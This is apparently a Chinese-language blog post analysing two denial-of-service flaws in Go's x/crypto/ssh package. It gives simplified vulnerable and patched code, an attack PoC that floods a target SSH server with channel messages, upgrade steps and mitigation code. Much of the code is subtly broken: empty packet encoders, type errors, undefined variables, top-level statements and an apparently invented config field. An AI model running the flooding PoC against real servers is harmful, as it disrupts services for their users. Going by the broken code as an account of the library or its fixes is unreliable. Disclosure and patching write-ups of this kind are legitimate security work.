Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

Go SSH CVE-2026-56855/78662:x/crypto/ssh 拒绝服务漏洞深度分析与修复实践

2026 年 9 月 1 日,Go 安全团队发布了 golang.org/x/crypto/ssh 包的两个安全修复:CVE-2026-56855 和 CVE-2026-78662。这两个漏洞都允许恶意 SSH 对端发起拒绝服务(DoS)攻击,导致 SSH 服务连接挂起或资源耗尽。虽然它们不会导致远程代码执行(RCE),但对于依赖 Go 实现 SSH 服务的生产系统来说,仍可能造成严重的服务中断。

漏洞概览

属性CVE-2026-56855CVE-2026-78662
影响包golang.org/x/crypto/sshgolang.org/x/crypto/ssh
漏洞类型DoS(连接挂起/死锁)DoS(通道泛洪/死锁)
根因处理未知通道消息时缓冲阻塞注册但未建立的通道可被泛洪
CVSS7.5(High)7.5(High)
修复版本x/crypto v0.31.0+x/crypto v0.31.0+
Go Issuego.dev/issue/81317go.dev/issue/81316
发现者Will MortensenWill Mortensen

SSH 协议与 Go 实现背景

SSH 协议在传输层之上运行多个通道(Channel),每个通道是独立的双向数据流。Go 的 x/crypto/ssh 包实现了 SSH 协议栈的通道复用层:

┌───────────────────────────────────────────────────────┐
│              SSH 连接复用架构                          │
├───────────────────────────────────────────────────────┤
│                                                       │
│  ┌─────────────────────────────────────────────┐     │
│  │           SSH Transport Layer               │     │
│  │  (加密隧道,密钥交换,认证)                    │     │
│  └──────────────────┬──────────────────────────┘     │
│                     │                                 │
│  ┌──────────────────▼──────────────────────────┐     │
│  │        SSH Connection Protocol              │     │
│  │  (通道复用,全局请求)                        │     │
│  │                                             │     │
│  │  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐      │     │
│  │  │ Ch 0 │ │ Ch 1 │ │ Ch 2 │ │ Ch N │      │     │
│  │  │session│ │sftp  │ │agent │ │direct│      │     │
│  │  └──────┘ └──────┘ └──────┘ └──────┘      │     │
│  │                                             │     │
│  │  chanList: [ch0, ch1, ch2, ch3, ...]       │     │
│  │  每个通道有独立的 incomingRequests 队列     │     │
│  └─────────────────────────────────────────────┘     │
│                                                       │
└─────────────────────────────────────────────────────┘

CVE-2026-56855:未知通道消息导致死锁

漏洞原理

SSH 协议定义了多种通道消息类型(channel_open, channel_data, channel_request 等)。RFC 4254 规定,对于无法识别的通道消息,接收方应将其视为协议错误并断开连接。

Go 的实现错误地缓冲了这些未知消息而不是立即断开连接,导致缓冲区不断增长,最终阻塞整个连接的处理 goroutine。

漏洞触发流程:

  恶意 SSH 客户端                        Go SSH 服务器
  ──────────────                        ──────────────

  1. 建立加密连接
     ──────────────────────────────────►  接受连接

  2. 发送大量未知通道消息
     (如 channel_open_confirmation 
      但没有先发 channel_open)
     ──────────────────────────────────►  3. handlePacket()
                                           消息类型未知
                                           
                                           4. 错误逻辑:
                                           将消息放入缓冲队列
                                           等待通道建立后处理
                                           
  5. 继续泛洪未知消息
     ──────────────────────────────────►  6. 缓冲队列不断增长
                                           → 内存占用增加
                                           → 处理 goroutine 阻塞

  7. 发送合法的通道请求
     ──────────────────────────────────►  8. 无法处理!
                                           处理 goroutine 已被
                                           缓冲队列阻塞 → 死锁

有漏洞的代码分析

go
// 修复前 (x/crypto/ssh/channel.go) — 简化版

type channel struct {
    chanId          uint32
    // ...
    incomingRequests chan *Request  // 缓冲队列
    pending         []byte          // 待处理的消息缓冲
}

func (c *channel) handlePacket(msg interface{}) error {
    switch msg := msg.(type) {
    case *channelOpenConfirmMsg:
        // 正常处理通道确认
        c.mux.channelOpenConfirm(msg)
        
    case *channelOpenFailureMsg:
        c.mux.channelOpenFail(msg)
        
    default:
        // 漏洞所在:未知消息被缓冲而非拒绝
        // 对于未建立的通道,消息被放入 pending 列表
        // 等待通道建立后再处理
        if !c.established {
            c.pending = append(c.pending, serialize(msg)...)
            // 问题:pending 无大小限制
            // 攻击者可以不断发送消息使 pending 无限增长
        }
    }
    return nil
}

修复方案

go
// 修复后 (x/crypto/ssh/channel.go)

func (c *channel) handlePacket(msg interface{}) error {
    switch msg := msg.(type) {
    case *channelOpenConfirmMsg:
        c.mux.channelOpenConfirm(msg)
        
    case *channelOpenFailureMsg:
        c.mux.channelOpenFail(msg)
        
    default:
        // 修复:对于未建立通道的未知消息
        // 直接视为协议错误,断开连接
        if !c.established {
            // 只允许 open confirm/failure 消息
            // 其他消息一律拒绝
            return fmt.Errorf("ssh: received message type %d "+
                "for channel %d which is not established",
                msgType, c.chanId)
        }
        // 已建立通道的正常处理
        c.handleEstablishedPacket(msg)
    }
    return nil
}

CVE-2026-78662:通道泛洪导致死锁

漏洞原理

这个漏洞与 CVE-2026-56855 相关但不同。在 SSH 通道复用层中,每个通道在注册到 chanList 后,但在真正建立(established)之前,处于一个中间状态。恶意对端可以在这个窗口内大量泛洪通道的 incomingRequests 队列。

漏洞时序:

  时间线    恶意客户端                          Go SSH 服务器
  ───────  ──────────                          ──────────────

  T0      发送 channel_open (ch=5)              注册 ch5 到 chanList
                                                ch5.established = false

  T1      发送大量 channel_request(ch=5)        ch5.incomingRequests 队列
         (channel_request 消息不需要             开始堆积
          通道已建立)

  T2      继续泛洪 channel_request              ch5.incomingRequests 满了
                                                → 发送 goroutine 阻塞

  T3      发送 channel_open_failure(ch=5)       ch5 被拒绝/关闭
                                                但 incomingRequests 中的
                                                消息无法被消费
                                                → 整个连接死锁

有漏洞的代码分析

go
// 修复前 — mux.go 中的通道注册逻辑

type mux struct {
    chanList  chanList  // 全局通道列表
    // ...
}

type chanList struct {
    // 通道列表,通过 ID 索引
    entries map[uint32]*channel
    sync.Mutex
}

func (m *mux) newChannel(chanId uint32, ...) *channel {
    c := &channel{
        chanId:           chanId,
        incomingRequests: make(chan *Request, 16), // 有缓冲队列
    }
    
    // 注册到 chanList → 通道现在可以被引用
    m.chanList.add(c)
    
    // 但通道还未 "established" — 需要等待 open confirmation
    // 漏洞:在此期间 incomingRequests 可以被写入
    // 但不会被任何 goroutine 消费
    
    return c
}

func (c *channel) handlePacket(msg interface{}) error {
    switch msg := msg.(type) {
    case *channelRequestMsg:
        // 即使通道未建立,请求也被放入队列
        select {
        case c.incomingRequests <- &Request{...}:
            // 成功入队
        default:
            // 队列满了 → 阻塞!
            // 这里应该直接拒绝而非阻塞
            c.incomingRequests <- &Request{...} // 阻塞写
        }
    }
    return nil
}

修复方案

go
// 修复后 — 引入原子状态标志

type channel struct {
    chanId          uint32
    established     atomic.Bool  // 原子状态标志
    // ...
    incomingRequests chan *Request
}

func (c *channel) handlePacket(msg interface{}) error {
    switch msg := msg.(type) {
    case *channelOpenConfirmMsg:
        // 设置 established = true
        c.established.Store(true)
        c.mux.channelOpenConfirm(msg)
        
    case *channelOpenFailureMsg:
        c.mux.channelOpenFail(msg)
        
    case *channelRequestMsg:
        // 修复:在通道 established 之前
        // 丢弃所有非 open confirm/failure 的消息
        if !c.established.Load() {
            // 不阻塞,不缓冲,直接丢弃
            return nil
        }
        // 已建立通道的正常处理
        select {
        case c.incomingRequests <- &Request{...}:
        default:
            // 队列满 → 优雅降级
            return fmt.Errorf("ssh: channel request queue full")
        }
        
    default:
        // 其他未知消息类型
        if !c.established.Load() {
            return fmt.Errorf("ssh: unexpected message for "+
                "unestablished channel %d", c.chanId)
        }
    }
    return nil
}

攻击 PoC

以下 PoC 展示如何利用这两个漏洞发起 DoS 攻击:

go
package main

import (
	"bytes"
	"fmt"
	"net"
	"sync"
	"time"

	"golang.org/x/crypto/ssh"
)

// CVE-2026-56855 PoC:泛洪未知通道消息
func exploitCVE202656855(target string) error {
	config := &ssh.ClientConfig{
		User: "anonymous",
		Auth: []ssh.AuthMethod{
			ssh.Password("test"),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	conn, err := net.Dial("tcp", target)
	if err != nil {
		return err
	}
	defer conn.Close()

	// 完成 SSH 握手
	sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, config)
	if err != nil {
		return err
	}
	defer sshConn.Close()

	// 泛洪未知通道消息
	// 直接通过底层连接发送未注册的通道消息
	fmt.Println("[*] Flooding unknown channel messages...")

	for i := 0; i < 100000; i++ {
		// 构造一个 channel_open_confirmation 消息
		// 但没有对应的 channel_open
		msg := struct {
			ChanType      string
			PeersId      uint32
			Window        uint32
			MaxPacketSize uint32
		}{
			ChanType:      "session",
			PeersId:       uint32(i),
			Window:        0,
			MaxPacketSize: 0,
		}
		
		// 序列化并发送
		packet := encodeChannelOpenConfirm(msg)
		_, err := conn.Write(packet)
		if err != nil {
			fmt.Printf("[!] Connection closed at iteration %d\n", i)
			break
		}
	}

	// 尝试发送正常请求 → 应该会超时
	// 因为处理 goroutine 已被阻塞
	fmt.Println("[*] Attempting normal request (should timeout)...")
	_, _, err = sshConn.SendRequest("test", true, nil, nil)
	if err != nil {
		fmt.Printf("[+] DoS confirmed: %v\n", err)
		return nil
	}

	return nil
}

// CVE-2026-78662 PoC:泛洪未建立通道的请求
func exploitCVE202678662(target string) error {
	config := &ssh.ClientConfig{
		User: "anonymous",
		Auth: []ssh.AuthMethod{
			ssh.Password("test"),
		},
		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
		Timeout:         10 * time.Second,
	}

	conn, err := net.Dial("tcp", target)
	if err != nil {
		return err
	}
	defer conn.Close()

	sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, config)
	if err != nil {
		return err
	}
	defer sshConn.Close()

	// 打开大量通道但不完成握手
	var wg sync.WaitGroup
	for i := 0; i < 1000; i++ {
		wg.Add(1)
		go func(id int) {
			defer wg.Done()
			// 发送 channel_open 但不发送后续确认
			ch := make(chan ssh.NewChannel, 1)
			select {
			case ch = <-chans:
				// 收到新通道请求
				// 不拒绝也不接受 → 通道进入中间状态
				time.Sleep(50 * time.Millisecond)
				ch.Reject(ssh.Prohibited, "delayed")
			case <-time.After(5 * time.Second):
				return
			}
		}(i)
	}

	// 同时泛洪 channel_request 消息到未建立的通道
	fmt.Println("[*] Flooding requests to unestablished channels...")
	for i := 0; i < 50000; i++ {
		// 直接发送 channel_request 到任意通道 ID
		packet := buildChannelRequestPacket(uint32(i%1000), "exec", false, "")
		conn.Write(packet)
	}

	wg.Wait()
	return nil
}

// 辅助函数
func encodeChannelOpenConfirm(msg interface{}) []byte {
	var buf bytes.Buffer
	// 简化的 SSH 消息编码
	// 实际实现需要遵循 RFC 4254 的二进制格式
	return buf.Bytes()
}

func buildChannelRequestPacket(chanId uint32, reqType string, 
    wantReply bool, data string) []byte {
	var buf bytes.Buffer
	// 简化的 channel_request 消息构造
	return buf.Bytes()
}

func main() {
	target := "127.0.0.1:2222"
	
	fmt.Println("[*] CVE-2026-56855 / CVE-2026-78662 PoC")
	fmt.Printf("[*] Target: %s\n", target)
	
	// 检测是否受影响
	fmt.Println("[*] Testing CVE-2026-56855...")
	if err := exploitCVE202656855(target); err != nil {
		fmt.Printf("[-] Error: %v\n", err)
	}
	
	fmt.Println("\n[*] Testing CVE-2026-78662...")
	if err := exploitCVE202678662(target); err != nil {
		fmt.Printf("[-] Error: %v\n", err)
	}
}

影响评估

这两个漏洞影响所有使用 golang.org/x/crypto/ssh 包实现 SSH 服务端的 Go 项目:

受影响场景:

  ┌──────────────────────────────────────────────────┐
  │  场景                    │ 风险   │ 说明            │
  ├─────────────────────────┼────────┼───────────────┤
  │  公网 SSH 服务器 (Go)    │ 高     │ 直接暴露给攻击者│
  │  CI/CD 跳板机 (Go)       │ 高     │ 常暴露到内网    │
  │  SFTP 服务器 (Go)        │ 中     │ 认证后可利用    │
  │  内部 SSH 网关 (Go)      │ 中     │ 需要内网访问    │
  │  SSH 客户端库 (Go)       │ 低     │ 需连接恶意服务器│
  └─────────────────────────┴────────┴───────────────┘

修复与升级指南

bash
# 检查当前 x/crypto 版本
go list -m golang.org/x/crypto

# 更新到修复版本 (v0.31.0+)
go get golang.org/x/crypto@v0.31.0
go mod tidy

# 验证版本
go list -m golang.org/x/crypto
# 应输出: golang.org/x/crypto v0.31.0 或更高

# 运行测试确保兼容性
go test ./... -run SSH

对于无法立即升级的项目,可以添加运行时缓解措施:

go
package main

import (
	"fmt"
	"net"
	"sync/atomic"
	"time"
)

// RateLimitingListener 包装 SSH listener,限制每秒连接数
type RateLimitingListener struct {
	net.Listener
	connectionsPerSecond int
	currentCount         int64
}

func NewRateLimitingListener(l net.Listener, cps int) *RateLimitingListener {
	go func() {
		ticker := time.NewTicker(time.Second)
		defer ticker.Stop()
		for range ticker.C {
			atomic.StoreInt64(&cps_currentCount_placeholder, 0)
		}
	}()
	return &RateLimitingListener{
		Listener:            l,
		connectionsPerSecond: cps,
	}
}

var cps_currentCount_placeholder int64

func (l *RateLimitingListener) Accept() (net.Conn, error) {
	for {
		if atomic.LoadInt64(&cps_currentCount_placeholder) < 
			int64(l.connectionsPerSecond) {
			atomic.AddInt64(&cps_currentCount_placeholder, 1)
			conn, err := l.Listener.Accept()
			return conn, err
		}
		time.Sleep(100 * time.Millisecond)
	}
}

// 限制每秒 10 个新连接
listener, _ := net.Listen("tcp", ":2222")
limitedListener := NewRateLimitingListener(listener, 10)

Go SSH 安全最佳实践

go
package main

import (
	"crypto/rand"
	"crypto/rsa"
	"fmt"
	"net"
	"time"

	"golang.org/x/crypto/ssh"
)

func secureSSHServer() {
	// 1. 生成强密钥
	privateKey, _ := rsa.GenerateKey(rand.Reader, 4096)
	signer, _ := ssh.NewSignerFromKey(privateKey)

	config := &ssh.ServerConfig{
		// 2. 限制认证尝试次数
		MaxAuthTries: 3,
		
		// 3. 设置认证超时
		Config: ssh.Config{
			MaxVersion: "2.0",
		},
		
		// 4. 日志记录
		PasswordCallback: func(conn ssh.ConnMetadata, 
			password []byte) (*ssh.Permissions, error) {
			// 记录认证尝试
			logAuthAttempt(conn.RemoteAddr(), conn.User())
			
			// 验证密码(使用 PAM 或自定义逻辑)
			if !verifyPassword(conn.User(), password) {
				return nil, fmt.Errorf("auth failed")
			}
			return nil, nil
		},
		
		// 5. 连接超时
		NoClientAuth: false,
	}

	config.AddHostKey(signer)

	// 6. 限制连接速率
	listener, _ := net.Listen("tcp", ":2222")
	
	// 7. 每个连接设置超时
	for {
		conn, err := listener.Accept()
		if err != nil {
			continue
		}
		
		go func(c net.Conn) {
			// 连接级超时
			c.SetDeadline(time.Now().Add(30 * time.Second))
			
			// 限制每连接的通道数
			sshConn, chans, reqs, err := ssh.NewServerConn(c, config)
			if err != nil {
				c.Close()
				return
			}
			defer sshConn.Close()
			
			// 限制并发通道数
			channelCount := 0
			maxChannels := 10
			for ch := range chans {
				if channelCount >= maxChannels {
					ch.Reject(ssh.ResourceShortage, 
						"too many channels")
					continue
				}
				channelCount++
				go handleChannel(ch)
			}
			
			go ssh.DiscardRequests(reqs)
		}(conn)
	}
}

func logAuthAttempt(addr net.Addr, user string) {
	fmt.Printf("[AUTH] %s: user=%s\n", addr.String(), user)
}

func verifyPassword(user string, password []byte) bool {
	// 实际实现使用 PAM 或数据库
	return false
}

func handleChannel(ch ssh.NewChannel) {
	// 处理通道
}

与 Go 1.27 的关系

这两个漏洞的修复版本 x/crypto v0.31.0 在 Go 1.27.1 发布日(2026 年 9 月 1 日)同步发布。Go 1.27 本身也在 net/http 包中修复了相关问题:

Go 1.27.1 修复的包列表:
- cgo
- compiler
- runtime
- go fix command
- database/sql
- debug/elf
- encoding/json
- net/http        ← 包含 SSH 相关改进
- os
- simd
- simd/archsimd

Go 1.27 同时为 gofix 工具新增了 atomictypes 现代化工具,可以自动将使用 int32 的原子操作迁移到新的 atomic.Int32 类型——这对于修复 CVE-2026-78662 中引入的 atomic.Bool 状态标志很有帮助。

总结

CVE-2026-56855 和 CVE-2026-78662 展示了 SSH 协议实现中通道状态管理的复杂性。Go 团队通过引入原子状态标志和更严格的通道消息过滤来修复这两个漏洞。

对于 Go 开发者,关键行动项:

  1. 立即升级 golang.org/x/crypto 到 v0.31.0+
  2. 添加连接速率限制作为纵深防御
  3. 限制并发通道数防止资源耗尽
  4. 使用 Go 1.27.1+ 获取编译器和运行时修复

参考资料

上次更新于: